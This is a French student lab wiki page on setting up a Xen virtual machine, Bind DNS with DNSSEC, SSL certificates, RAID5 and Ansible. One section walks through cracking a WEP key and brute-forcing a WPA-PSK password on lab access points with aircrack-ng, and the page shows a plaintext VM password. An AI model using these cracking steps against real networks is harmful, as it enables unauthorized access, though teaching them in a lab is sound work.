TP sysres IMA5 2021/2022 G5 : Différence entre versions

De Wiki d'activités IMA
(TP ASR)
(Configuration de Apache 2 en utilisant le certificat SSL de Gandi)
Ligne 287 : Ligne 287 :
 
  On spécifie l'emplacement du certificat ssl avec la clé qui lui est associée.
 
  On spécifie l'emplacement du certificat ssl avec la clé qui lui est associée.
  
<strong>Malheureusement, notre certificat SSL n'est pas associé à la bonne clé.</strong> Nous avons donc cherché des solutions alternatives.
+
<strong>Malheureusement, notre certificat SSL n'est pas associé à la bonne clé.</strong> Nous avons donc cherché des solutions alternatives. Au final nous avons demandé une nouvelle génération sur Gandi du certificat SSL et recommencé la manipulation. Les solutions alternatives sont quand même renseignées plus bas.
  
 
===Configuration de Apache 2 en utilisant le certificat de Let's Encrypt===
 
===Configuration de Apache 2 en utilisant le certificat de Let's Encrypt===

Version du 12 janvier 2022 à 10:50

BOURDAIN Hélène & VINGERE Camille

Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 IPv4 @MV SSID VM
Helene / Camille 04 10.04.0.0/16 2001:7A8:116E:60B4::0/64 10.04.0.250 10.04.0.251 10.04.0.252 10.04.0.253 193.48.57.180/28 Tulipe Duff

Architecture réseau

Schéma global

Nous nous sommes occupés de l'installation physique du réseau.


Mise en place de la machine virtuelle

Création d'une machine virtuelle Xen

  • Connexion à capbreton
ssh root@capbreton
  • Changer la variable environnement pour le proxy
export http_proxy=http://proxy.plil.fr:3128
  • Création de la VM
xen-create-image --hostname=Duff --ip=193.48.57.180 --netmask=255.255.255.240 --gateway=193.48.57.190 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
 
* --hostname : nom de la VM
* --netmask : masque de sous-réseau
* --gateway : ip de la passerelle
* --dir : répertoire où les disques virtuels doivent être créés
* --password : mot de passe pour accéder à la VM
* --dist : distribution linux

Création des deux partitions LVM

  • Choisir le volume

Pour cela, on affiche les différents volumes disponible

vgdisplay

--- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  150
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                24
 Open LV               12
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       45056 / 176.00 GiB
 Free  PE / Size       1385470 / <5.29 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc
  
 --- Volume group ---
 VG Name               virtual
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  333
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                56
 Open LV               49
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <1.82 TiB
 PE Size               4.00 MiB
 Total PE              476934
 Alloc PE / Size       143104 / 559.00 GiB
 Free  PE / Size       333830 / 1.27 TiB
 VG UUID               MS50AM-5UPD-Q5As-ZExy-nQYw-6zvq-Lftt6B
  
 --- Volume group ---
 VG Name               system
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  2
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                1
 Open LV               1
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <834.18 GiB
 PE Size               4.00 MiB
 Total PE              213549
 Alloc PE / Size       213549 / <834.18 GiB
 Free  PE / Size       0 / 0   
 VG UUID               09LwR3-qOUI-z438-g1TX-RGan-Y0HU-zKjTj2

On a choisi d'utiliser storage car c'est celui avec le plus d'espace disponible.

  • On créé les deux LV
lvcreate -L10G -n Duff1 storage
lvcreate -L10G -n Duff2 storage

*-L : taille allouée
*-n : nom de la partition
*storage : volume choisi
  • On a formaté nos disques
mkfs.ext4 /dev/storage/Duff1
mkfs.ext4 /dev/storage/Duff2
  • On a modifié le fichier de configuration

Cela nous a permit d'ajouter nos deux LVM et ajouter le pont IMAsc

vim /etc/xen/Duff.cfg

root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Duff/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Duff/swap.img,xvda1,w',
                 'phy:/dev/storage/Duff1,xvda3,w',
                 'phy:/dev/storage/Duff2,xvda4,w'
             ]
#  Networking
#
vif         = [ 'ip=193.48.57.180 ,mac=00:16:3E:28:98:56 ,bridge=IMA5sc' ]
  • On a ensuite lancé Duff
xl create -c /etc/xen/Duff.cfg

*-c : permet de spécifier le fichier de configuration
  • On a ensuite autorisé l'IPv6
vi /etc/network/interfaces
auto eth0 inet6 auto

Monter les disques dans la VM

  • Créer un point de montage
mkdir /mnt/xvda3
mkdir /mnt/xvda4

mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
  • On créé les deux partitions

Les deux partitions que nous allons créer sont /home et /var or dans /var il y a déjà des fichiers que nous allons déplacer dans notre /mnt/xvda4

mv /var/* /mnt/xvda4

On édite fstab afin d'ajouter nos deux disques

vi /etc/fstab

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

*ext4 : type de formatage
  • On monte tout
mount -a

On peut ensuite voir tout nos disques

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Service Internet

SSH

  • Modifier le fichier /etc/ssh/sshd_config:
Décommenter Port X 
Autoriser le login root : PermitRootLogin Yes

X : numéro du port ssh = 22
  • Relancer le service SSH
service ssh restart

Serveur DNS

  • Nom de domaine :
Aller sur Gandi.net : 

Nom domaine : duff-tulipe.club
Blue record : ns1.duff-tulipe.club ip : 193.48.57.180
  • Modification de /etc/resolv.conf

On installe un serveur de noms sur notre machine, elle nous servira donc de nameserver

nameserver 127.0.0.1
  • Modification de /etc/bind/named.conf.local
zone "duff-tulipe.club" IN {
       type master;
       file "/etc/bind/db.duff-tulipe.club";
       allow-transfer { 217.70.177.40; };
};
  • Création de /etc/bind/db.duff-tulipe.club
$TTL    259200
@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                    2021121301         ; Incrementation date based
                         18000         ; Refresh every 5 hours
                         3600          ; Retry every hour
                        388000         ; Expire after 45 days
                        259200 )       ; Minimum TTL : 3 days
;
@       IN      NS      ns1.duff-tulipe.club.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.180 
www     IN      A       193.48.57.180
        IN      AAAA    2001:660:4401:60b0:216:3eff:fe28:9856

* A : Nom attribué à une adresse de type IP V4
* AAAA : Nom attribué à une adresse de type IP V6
* NS : Le ou les serveurs de noms de la zone (IPV4)
* SOA : Démarre la configuration
* TTL : Time to Live

Sécurisation du site par certificat SSL

Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.

openssl req -nodes -newkey rsa:2048 -sha256 -keyout duff-tulipe.club.key -out duff-tulipe.club.csr

* duff-tulipe.club.key : clé privé
* duff-tulipe.club.csr : clé publique

Il faut ensuite faire une demande de signature sur gandi.net puis ajouter un enregistrement CNAME à notre DNS dans le fichier /etc/bind/db.duff-tulipe.club :

_81984CA0A14C2BF87A3DC60134F472F1.duff-tulipe.club. 10800 IN CNAME 9693CBB1C5FF588366B34976185CEF2D.CF6A4117B09D101A3558AB1B3B415A3F.3001ef257407d5a371a9.sectigo.com.

Le certificat est disponible sur gandi sous format .crt et il faut le placer dans /etc/ssl/certs. On doit également télécharger le certificat intermédiaire de gandi (GandiStandardSSLCA2.pem).

Configuration de Apache 2 en utilisant le certificat SSL de Gandi

  • Activer le module SSL
a2enmod ssl

Le port 80 est écouté par défaut pour le HTTP. Nous voulons sécuriser le site avec un certificat SSL et devons donc utiliser le port 443 pour mettre HTTPS en place. On va donc remplacer :

<IfModule ssl_module>
      Listen 443
</IfModule> 

par

<IfModule mod_ssl.c>
       Listen 443
</IfModule>

Le répertoire par défaut d'Apache pour le routes html est /var/www/html. Nous créons un répertoire custom /var/www/duff-tulipe.club. Nous personnaliserons la page index.html avec le contenu qui nous convient.

Nous complétons le fichier de configuration custom avec /etc/apache2/sites-available/000-duff-tulipe.club-ssl.conf

<VirtualHost *:443>
       ServerName duff-tulipe.club
       ServerAlias www.duff-tulipe.club
       DocumentRoot /var/www/duff-tulipe.club/

       SSLEngine on
       SSLCertificateFile /etc/ssl/certs/duff-tulipe.club.crt
       SSLCertificateKeyFile /etc/ssl/private/duff-tulipe.club.key
</VirtualHost>

On spécifie l'emplacement du certificat ssl avec la clé qui lui est associée.

Malheureusement, notre certificat SSL n'est pas associé à la bonne clé. Nous avons donc cherché des solutions alternatives. Au final nous avons demandé une nouvelle génération sur Gandi du certificat SSL et recommencé la manipulation. Les solutions alternatives sont quand même renseignées plus bas.

Configuration de Apache 2 en utilisant le certificat de Let's Encrypt

Nous allons utiliser certbot pour configurer apache automatiquement et utiliser le certificat SSL de Let's Encrypt. La documentation complète peut être trouvée via ce lien : https://certbot.eff.org/instructions?ws=apache&os=debianbuster.

  • Installer snap
apt install snap
  • S'assurer que la version de snap est à jour
snap install core; snap refresh core
  • Installer Certbot
snap install --classic certbot
  • Préparation de la commande Certbot
ln -s /snap/bin/certbot /usr/bin/certbot
  • Lancer Certbot
certbot -v --apache

-v pour voir le détail des erreurs/warnings

Comme on peut voir dans la réponse ci-dessous, c'est un échec.

Which names would you like to activate HTTPS for?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: duff-tulipe.club
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate numbers separated by commas and/or spaces, or leave input
blank to select all options shown (Enter 'c' to cancel): 
Requesting a certificate for duff-tulipe.club
Performing the following challenges:
http-01 challenge for duff-tulipe.club
Enabled Apache rewrite module
Waiting for verification...
Challenge failed for domain duff-tulipe.club
http-01 challenge for duff-tulipe.club 

Certbot failed to authenticate some domains (authenticator: apache). The Certificate Authority reported these problems:
  Domain: duff-tulipe.club
  Type:   dns
  Detail: No valid IP addresses found for duff-tulipe.club  

Hint: The Certificate Authority failed to verify the temporary Apache configuration changes made by Certbot. Ensure that the listed domains point to this Apache 
server and that it is accessible from the internet.

Cleaning up challenges
Some challenges have failed.
Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more 
details.

Une dernière solution a été testée.

Configuration de Apache 2 en utilisant le certificat de SSL For Free

Il suffit de se rendre sur ce lien https://www.sslforfree.com/. On rempli ensuite les champ nécessaire pour obtenir le certificat. Finalement, l'étape qui pose problème est l'étape où le site vérifie que nous sommes bien les propriétaires du site.

SSLForFree.png

3 solutions sont possibles.

  • Vérification par email
  • Vérification par DNS
  • Vérification par Upload HTTP

La vérification par Upload HTTP ne fonctionne pas car un lien du site est mort.

La vérification DNS ne fonctionne pas après avoir ajouté cet enregistrement DNS demandé par le site.

_BAAD2B664782B429E8BE0708BD15D557.duff-tulipe.club 3600 IN CNAME 0D9E12C86DFDDE0298FFFAE45FFABAD8.387D5A4E897132A9AB37E065A38E1FF8.c79cacd286c398f.comodoca.com

La vérification par email implique que nous ayons une boîte mail sur le nom de domaine.

Configuration d'une boîte mail sur le domaine

Pour finaliser l'étape précédente de validation pour obtenir un certificat SSL nous avons tenté de créer une boîte mail associée à notre domaine sur gandi.

Pour cela il faut aller sur l'espace de gestion de son domaine puis dans Boites & redirections Mail. Comme nous utilisons un DNS externe et pas celui de gandi, il est nécessaire d'ajouter des enregistrements sur notre DNS.

vim /etc/bind/db.duff-tulipe.club

On édite le fichier en ajoutant :

@ 10800 IN MX 10 spool.mail.gandi.net.
@ 10800 IN MX 50 fb.mail.gandi.net.
@ 10800 IN TXT "v=spf1 include:_mailcust.gandi.net ?all"

On ajoute également des enregistrements SRV recommandés par Gandi

_imap._tcp 10800 IN SRV 0 0 0   .
_imaps._tcp 10800 IN SRV 0 1 993 mail.gandi.net.
_pop3._tcp 10800 IN SRV 0 0 0   .
_pop3s._tcp 10800 IN SRV 10 1 995 mail.gandi.net.
_submission._tcp 10800 IN SRV 0 1 465 mail.gandi.net.

On crée ensuite une boîte mail sur gandi. Nous l'avons appellée webmaster@duff-tulipe.club. Nous pouvons ensuite utiliser les Webmails proposés par gandi. Nous utilisons RoundCube.

Pour l'envoi de mail, nous obtenons l'erreur suivante :

Erreur SMTP (550) : échec d’ajout du destinataire « camille.vingere@gmail.com » (5.1.8 <webmaster@duff-tulipe.club>: Sender address rejected: Domain not found)

Pour la réception de mail, nous obtenons l'erreur suivante :

DNS Error: 28225874 DNS type 'mx' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'mx' lookup of duff-tulipe.club had no relevant 
answers. 28225874 DNS type 'aaaa' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'aaaa' lookup of duff-tulipe.club had no relevant 
answers. 28225874 DNS type 'a' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'a' lookup of duff-tulipe.club had no relevant answers.

Sécurisation de serveur DNS par DNSSEC

  • Modification de /etc/binc/named.conf.options
Activer le DNSSEC pour Bind:
dnssec-enable yes;
  • Création de la clef asymétrique de signature de clefs de zone
Création du répertore /etc/bind/duff-tulipe.dnssec
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE duff-tulipe.club
Renommer la clef en :
duff-tulipe.club-ksk.key
duff-tulipe.club-ksk.private
  • Création la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE duff-tulipe.club

Renommer la clef en :
duff-tulipe.club-zsk.key
duff-tulipe.club-zsk.private
  • Inclusion des fichiers dans /etc/bind/db.duff-tulipe.club
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-ksk.key
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-zsk.key

On incrémente le numéro de version

@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                   2021121302         ; Incrementation date based
  • Signature des enregistrement de la zone
dnssec-signzone -o duff-tulipe.club -k duff-tulipe.club-ksk ../db.duff-tulipe.club duff-tulipe.club-zsk
  • Modification du ficher named.conf.local

Cela permet d'utiliser la zone signée, générée à l'étape précédente

zone "duff-tulipe.club" IN {
        type master;
        file "/etc/bind/db.duff-tulipe.club.signed";
        allow-transfer { 217.70.177.40; };
};
  • Communication de la partie publique

Copie du ficher duff-tulipe.club-ksk.key dans la partie DNSSEC de notre domaine sur gandi.net (KSK et algorithme RSA-SHA1)

  • Test

On lance la commande

dnssec-verify -o duff-tulipe.club db.duff-tulipe.club.signed
Loading zone 'duff-tulipe.club' from file 'db.duff-tulipe.club.signed'

Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked

Tests d'intrusion

Cassage de clef WEP d’un point d’accès WiFi

  • Installation du paquet aircrack
apt install aircrack-ng
  • Affichage de notre interface réseau
 airmon-ng
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une cracotte : cracotte05 => BSSID : 04:DA:D2:9C:50:54
  • Test d'injection

Après avoir récupéré le BSSID d'une des cracotte on réalise un test d'injection.

aireplay-ng -9 -e <nom_du_point_d_acces> -a <BSSID> <n°interface>
  • Capture des VI sur notre point d'accès dans un fichier
airodump-ng -c <canal> --bssid <BSSID> -w output <n°interface>

Il faut désormais ouvrir un nouveau terminal.

  • Associer l'interface réseau à notre point d'accès

Nous utilisons une fausse authentification pour nous connecter.

aireplay-ng -1 0 -e <nom_du_point_d_acces> -a <BSSID> -h <BSSID_interface_reseau> <n°interface>

nom pt acces : cracotte05
bssid: 04:DA:D2:9C:50:54
BSSID_interface_reseau : 40:A5:EF:01:35:79
n°interface : wlan0mon
  • Décryptage
aircrack-ng -b 04:DA:D2:9C:50:54 output*.cap

Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas)

 KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44]
Decrypted correctly: 100%

Cassage du mot de passe WPA-PSK par force brute

  • Affichage de notre interface réseau
airmon-ng

wlx40a5ef059e47
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une kracotte (avec un "k" pour le WPA) : kracotte14 => BSSID : 44:AD:D9:5F:87:0D

On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake dans un fichier psk :

airodump-ng -c 3 --bssid 44:AD:D9:5F:87:03 -w psk wlan0mon
*-c 3 : channel
*--bssid: BSSID de la kracotte

On créé ensuite un dictionnaire de toutes les combinaisons possibles de 8 chiffres avec l'aide de l'utilitaire crunch :

apt install crunch
crunch 8 8 0123456789 -o password.lst

*8 nombre min de caractères
*8 nombre max de caractères
*0123456789 : caractères utilisés pour les combinaisons
*-o : fichier de sortie

Une fois le chargement terminé nous obtenons ce résultat

[00:56:46] 59882312/100000000 keys tested (17564.32 k/s)

KEY FOUND! [ 59914999 ]


     Master Key     : B6 2C 87 9A 1D D2 52 1A 23 45 79 FA 95 2F 09 F0 
                      75 A4 0C D9 AD 3B 10 C3 2B F7 41 50 00 AF D5 9D 

     Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

     EAPOL HMAC     : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


Réalisation

Sécurisation de données

Pour notre serveur Xen on crée trois partitions LVM de 1Go avec des noms liés à celui de notre serveur (stprage)

lvcreate -L1G -n duff-raid1 storage
lvcreate -L1G -n duff-raid2 storage
lvcreate -L1G -n duff-raid3 storage

Nous ajoutons les partitions à notre fichier de configuration qui se trouve dans /etc/xen/Duff.cfg

'phy:/dev/storage/duff-raid1,xvdb1,w',
'phy:/dev/storage/duff-raid2,xvdb2,w',
'phy:/dev/storage/duff-raid3,xvdb3,w'

On regarde la liste des machines lancées.

xl list

On éteint la VM

xl shutdown 6

Pour éteindre la machine avec l'ID 6 (la notre)

On relance la VM

xl create -c /etc/xen/Duff.cfg

On crée la partition Raid5

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3

On formate la partition en ext4

mkfs.ext4 /dev/md0

On ajoute au fichier /etc/fstab la partition formatée /dev/md0 pour qu'il soit monté durant le démarrage de la VM

/dev/md0 /media/raid ext4 defaults 0 1
mount -a

TP ASR

Préliminaire : Configuration d'une nouvelle VM sur chassiron.plil.info

Nous devons configurer l'IPV4 sur la machine.

vim /etc/network/interfaces

On rajoute l'adresse IPV4 et la gateway.

address 172.26.145.105/24
gateway 172.26.145.254

Puis

ifdown eth0
ifup eth0

On autorise la connexion en ssh dans /etc/ssh/

vi sshd_config

On met

PermitRootLogin yes

Génération de clé SSH

Pour se connecter à la VM avec ansible nous générons une clé SSH dans ~/.ssh/ de la zabeth05

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P 

Puis on copie id-ed25519.pub dans /root/.ssh/authorized_keys dans notre VM

Clonage du GIT

export https_proxy="http://proxy.plil.fr:3128"

git clone https://github.com/thomas-maurice/polytech-asr-lab.git

Installation de Ansible

On créé un virtualenv, on l'active et on installe ansible.

python3 -m venv ~/env-ansible
. ~/env-ansible/bin/activate
pip3 install -U setuptools wheel
pip3 install -U ansible